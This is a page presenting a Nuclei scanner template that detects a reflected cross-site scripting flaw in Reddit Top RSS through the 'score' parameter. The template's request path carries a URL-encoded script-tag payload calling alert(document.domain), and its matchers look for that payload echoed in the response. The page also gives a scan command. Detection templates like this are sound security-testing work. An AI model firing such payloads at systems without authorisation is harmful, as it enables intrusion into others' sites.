Reddit Top RSS - Cross-Site Scripting

ID: reddittop-rss-xss

Severity: high

Author: arafatansari

Tags: reddit,rss,xss

Description

Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.

YAML Source

id: reddittop-rss-xss

info:
  name: Reddit Top RSS - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.
  reference:
    - https://github.com/johnwarne/reddit-top-rss/issues/12
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: reddit,rss,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="2134"><script>alert(document.domain)</script>" min="0"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a3972399cae652a5102210485551ba2c15c5af4077e6449068fca242c614e7a702206509d88fe3551277f7c21843db294bd272ebc61d21f42b17ba178a928988c1b9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/reddittop-rss-xss.yaml"

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